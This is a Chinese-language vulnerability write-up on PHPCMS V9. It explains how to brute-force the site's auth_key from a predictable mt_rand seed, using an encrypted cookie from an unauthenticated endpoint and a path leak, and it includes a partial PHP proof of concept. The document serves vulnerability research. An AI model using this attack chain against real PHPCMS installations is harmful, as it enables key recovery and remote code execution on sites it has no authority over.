代码审计:PHPCMS V9 前台RCE挖掘分析

admin 2021年2月17日15:55:47评论248 views字数 8920阅读29分44秒阅读模式
本文作者(全网首发):芝士狍子糕、奶权
未授权禁止转发,尤其是黑白某道

测试环境

         Nginx 1.4.0

         PHP 5.5.38

         PHPCMS v9 (本漏洞影响全版本)

历史漏洞

17年的时候,php爆出了一个可以根据随机数种子可被逆推的漏洞。具体的详情以及利用程序在这 MT_RAND SEED CRACKER 对应到旧版本的PHPCMS上的利用是:Cookie前缀->随机数->随机数种子->auth_key。具体细节:https://xz.aliyun.com/t/30

 

漏洞修复

官方的修复方案是对Cookie前缀和auth_key生成时使用的种子进行重新播种

 

代码审计:PHPCMS V9 前台RCE挖掘分析

这样的话我们通过Cookie前缀生成用的种子就跟auth_key生成用的种子不一样了,也就导致auth_key的生成序列化不可预测了。这样的修复方法不仔细看貌似没什么问题,但是细想却发现问题很⼤。PHPCMS官⽅对php的理解还是不不够深,导致依然可以预测得出auth_key生成用的seedauth_key,这也是本RCE漏洞的核⼼点。

 

源码分析

PHP随机数生成分析

直接到Github上看php的源代码:

https://github.com/php/php-src/blob/becda2e0418d4efb55fca40b1170ca67cfbdb4e0/ext/standard/mt_rand.c

PHPAPI void php_mt_srand(uint32_t seed){  /* Seed the generator with a simple uint32 */  php_mt_initialize(seed, BG(state));  php_mt_reload();
  /* Seed only once */  BG(mt_rand_is_seeded) = 1;}/* }}} */
/* {{{ php_mt_rand */PHPAPI uint32_t php_mt_rand(void){  /* Pull a 32-bit integer from the generator state     Every other access function simply transforms the numbers extracted here */
  register uint32_t s1;
  if (UNEXPECTED(!BG(mt_rand_is_seeded))) {    php_mt_srand(GENERATE_SEED());  }
  if (BG(left) == 0) {    php_mt_reload();  }  --BG(left);
  s1 = *BG(next)++;  s1 ^= (s1 >> 11);  s1 ^= (s1 <<  7) & 0x9d2c5680U;  s1 ^= (s1 << 15) & 0xefc60000U;  return ( s1 ^ (s1 >> 18) );}

这里是php的mt_srandmt_rand的实现,我们这里可以看到,默认情况下的php_mt_srand的种⼦类型是uint32_t,范围是2^32-1,数量量并不不⼤大,我们如果能在本地遍历一遍,并不需要多少时间。也就是说,PHPCMS这里的修复方式,通过调用多次mt_srand()实现重置种子是不安全的。php默认生成的种子范围是2^32-1,我们本地机器爆破依然是可以出来的,⽽他auth_key的值并不会改变,只需要电脑上挂机跑即可。

 

漏洞核心原理

假设我们现在拥有了本地暴力遍历2^32-1次seed的能力,我们改如何利用呢?如果爆破一次就需要往目标服务器上发一次包的话,那利用这个漏洞就需要同时进行CPU密集型和IO密集型任务,严重拖慢速度不说,还需要往目标发送大量流量,那这个漏洞就没意义了。

 

所以我们需要找到一个PHPCMS内部使用这个auth_key进行计算,且计算结果可以被我们获取到的点。而auth_key作为phpcms的加密key,最常见的例子就是用来加密Cookie了。

 

我们来看他设置Cookie的代码:

public static function set_cookie($var, $value = '', $time = 0) {    $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);    $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;    $httponly = $var=='userid'||$var=='auth'?true:false;    $var = pc_base::load_config('system','cookie_pre').$var;    $_COOKIE[$var] = $value;    if (is_array($value)) {      foreach($value as $k=>$v) {        setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE', md5(PC_PATH.'cookie'.$var).pc_base::load_config('system','auth_key')), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);      }    } else {      setcookie($var, sys_auth($value, 'ENCODE', md5(PC_PATH.'cookie'.$var).pc_base::load_config('system','auth_key')), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);    }}

关注到最后一段,设置的Cookie的内容是经过sys_auth()进行加密的:

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {  $ckey_length = 4;  $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));  $keya = md5(substr($key, 0, 16));  $keyb = md5(substr($key, 16, 16));  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  $cryptkey = $keya.md5($keya.$keyc);  $key_length = strlen($cryptkey);
  $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;  $string_length = strlen($string);
  $result = '';  $box = range(0, 255);
  $rndkey = array();  for($i = 0; $i <= 255; $i++) {    $rndkey[$i] = ord($cryptkey[$i % $key_length]);  }
  for($j = $i = 0; $i < 256; $i++) {    $j = ($j + $box[$i] + $rndkey[$i]) % 256;    $tmp = $box[$i];    $box[$i] = $box[$j];    $box[$j] = $tmp;  }
  for($a = $j = $i = 0; $i < $string_length; $i++) {    $a = ($a + 1) % 256;    $j = ($j + $box[$a]) % 256;    $tmp = $box[$a];    $box[$a] = $box[$j];    $box[$j] = $tmp;    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  }
  if($operation == 'DECODE') {    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {      return substr($result, 26);    } else {      return '';    }  } else {    return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');  }}

经常审代码的人应该一眼就看出来了,这个函数是直接复制了Discuz中的一个流加密算法。该函数可以利用一个key来对数据进行加解密。我们往回看,程序中往这个函数传递了什么key:

sys_auth($value, 'ENCODE', md5(PC_PATH.'cookie'.$var).pc_base::load_config('system','auth_key'))

key的生成依赖以下部分:

1. PC_PATH
2. $var
3. auth_key

$var是当前设置Cookie的键我们可以轻松从响应头中获取到。auth_key经过我们前面的分析可以知道,它其实本质上就是一个2^32-1这个范围内的数字。最后一个未知量为PC_PATH,我们搜索一下看一下其定义:

//PHPCMS框架路径define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

实际上就是WEB的路径,也就是说我们利⽤这个漏洞还需要搭配一个WEB路径泄露。所幸,PHPCMS的开发习惯并不好,很多地方都没有定义变量和限制访问,⽐如/caches/configs/system.php文件:

 

代码审计:PHPCMS V9 前台RCE挖掘分析

直接访问会报错:

 

代码审计:PHPCMS V9 前台RCE挖掘分析

现在爆破这个auth_key的思路就出来了

1. 通过路径泄漏拿到WEB路径
2. 通过响应头拿到设置的Cookie的键
3. 不断从uint32_t范围生成的序列中取值,生成对应种子下的auth_key
4. 将从响应头中拿到的设置的Cookie的内容放进流加密函数中进行解密,使用的key为上面1-3根据对应规则生成的值。
5. 判断解密后的字符串是否与Cookie加密前的字符串相等

现在所有的利用链就差最后一个点了,就是找到一个通过set_cookie()加密的一个Cookie即可。这个条件在PHPCMS中比比皆是,我们随便找一个不依赖用户中心,不依赖任何需要验证权限的模块的地方即可,比如:phpcms/modules/mood/index.php中的post()函数

public function post() {    if (isset($_GET['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]+$/', $_GET['callback']))  unset($_GET['callback']);    $mood_id =& $this->mood_id;    $setting =& $this->setting;    $cookies = param::get_cookie('mood_id');    $cookie = explode(',', $cookies);    if (in_array($this->mood_id, $cookie)) {      $this->_show_result(0, L('expressed'));    } else {      $mood_db = pc_base::load_model('mood_model');      $key = isset($_GET['k']) && intval($_GET['k']) ? intval($_GET['k']) : '';      if (!in_array($key, array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)))        $this->_show_result(0, L('illegal_parameters'));      $fields = 'n'.$key;      if ($data = $mood_db->get_one(array('catid'=>$this->catid, 'siteid'=>$this->siteid, 'contentid'=>$this->contentid))) {        $mood_db->update(array('total'=>'+=1', $fields=>'+=1', 'lastupdate'=>SYS_TIME), array('id'=>$data['id']));        $data['total']++;        $data[$fields]++;      } else {        $mood_db->insert(array('total'=>'1', $fields=>'1', 'catid'=>$this->catid, 'siteid'=>$this->siteid, 'contentid'=>$this->contentid,'        lastupdate'=>SYS_TIME));        $data['total'] = 1;        $data[$fields] = 1;      }      param::set_cookie('mood_id', $cookies.','.$mood_id);      foreach ($setting as $k=>$v) {        $setting[$k]['fields'] = 'n'.$k;        if (!isset($data[$setting[$k]['fields']])) $data[$setting[$k]['fields']] = 0;        if (isset($data['total']) && !empty($data['total'])) {          $setting[$k]['per'] = ceil(($data[$setting[$k]['fields']]/$data['total']) * 60);        } else {          $setting[$k]['per'] = 0;        }      }      ob_start();      include template('mood', 'index');      $html = ob_get_contents();      ob_clean();      $this->_show_result(1,$html);    }}

其中set_cookie('mood_id',$cookies.','.$mood_id);里的$mood_id在构造函数里赋值

public function __construct() {    $this->setting = getcache('mood_program', 'commons');

    $this->mood_id = isset($_GET['id']) ? $_GET['id'] : '';    if(!preg_match("/^[a-z0-9_-]+$/i",$this->mood_id)) showmessage((L('illegal_parameters')));    if (empty($this->mood_id)) {      showmessage(L('id_cannot_be_empty'));    }    list($this->catid, $this->contentid, $this->siteid) = id_decode($this->mood_id);
    $this->setting = isset($this->setting[$this->siteid]) ? $this->setting[$this->siteid] : array();
    foreach ($this->setting as $k=>$v) {      if (empty($v['use'])) unset($this->setting[$k]);    }
    define('SITEID', $this->siteid);}

可以看到可以通过我们get传过去的id值进行控制,获取Cookie的请求如下:

req:GET /index.php?m=mood&c=index&a=post&k=1&id=nqtest HTTP/1.1Host: phpcmsConnection: close
res:HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8Connection: closeSet-Cookie: xHifh_mood_id=09a5aQTLUUxyVdgD66CHwOsEbFrKP0Ztaxs1T1ltBrVn4Z2XContent-Length: 1000
(略)

通过这个请求我们就可以拿到Cookie的键与nqtest加密过后的值了,已经满足了利用条件。

 

POC

简单写了一个POC来进行测试

<?phpfunction sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {  $ckey_length = 4;  $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));  $keya = md5(substr($key, 0, 16));  $keyb = md5(substr($key, 16, 16));  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  $cryptkey = $keya.md5($keya.$keyc);  $key_length = strlen($cryptkey);
  $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;  $string_length = strlen($string);
  $result = '';  $box = range(0, 255);
  $rndkey = array();  for($i = 0; $i <= 255; $i++) {    $rndkey[$i] = ord($cryptkey[$i % $key_length]);  }
  for($j = $i = 0; $i < 256; $i++) {    $j = ($j + $box[$i] + $rndkey[$i]) % 256;    $tmp = $box[$i];    $box[$i] = $box[$j];    $box[$j] = $tmp;  }
  for($a = $j = $i = 0; $i < $string_length; $i++) {    $a = ($a + 1) % 256;    $j = ($j + $box[$a]) % 256;    $tmp = $box[$a];    $box[$a] = $box[$j];    $box[$j] = $tmp;    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  }
  if($operation == 'DECODE') {    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {      return substr($result, 26);    } else {      return '';    }  } else {    return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');  }}function random($length, $chars = '0123456789', $seed) {  $hash = '';  $max = strlen($chars) - 1;  mt_srand($seed);  for($i = 0; $i < $length; $i++) {    $hash .= $chars[mt_rand(0, $max)];  }  return $hash;}// 完整POC请看下方

 

代码审计:PHPCMS V9 前台RCE挖掘分析

可以看到跑出来的auth_key是正确的

 

代码审计:PHPCMS V9 前台RCE挖掘分析

可行性探究

上面的复现过程其实偷了个懒,手动在生成auth_key之前对接下来的随机数序列播了种

function random($length, $chars = '0123456789') {  $hash = '';  $max = strlen($chars) - 1;  mt_srand(10000);  for($i = 0; $i < $length; $i++) {    $hash .= $chars[mt_rand(0, $max)];  }  return $hash;}

 

根据大概的统计,上面使用php实现的POC跑完大概需要将近15天左右的时间,所以我这里为了证明可行性手动播了种。

 

实战利用的话可以采用分布式的思想,一台机器跑一部分序列,理论上只要机器足够多,跑出auth_key的速度就能足够快。为了让速度更快,我将上面的POC实现了一个基于C的EXP版本,可以将速度提升到3天内跑完,如果加上多线程与分布式,则利用到目标上是完全可以实现的。

 

完整的POC与EXP请关注我的知识星球

 

代码审计:PHPCMS V9 前台RCE挖掘分析

后续利用

至于获取到auth_key后可以做一些什么这个大家都明白,网上也有一大把的分析,这里就不再赘述了。

 

本文始发于微信公众号(米斯特安全团队):代码审计 | PHPCMS V9 前台RCE挖掘分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月17日15:55:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计:PHPCMS V9 前台RCE挖掘分析http://cn-sec.com/archives/268053.html

发表评论

匿名网友 填写信息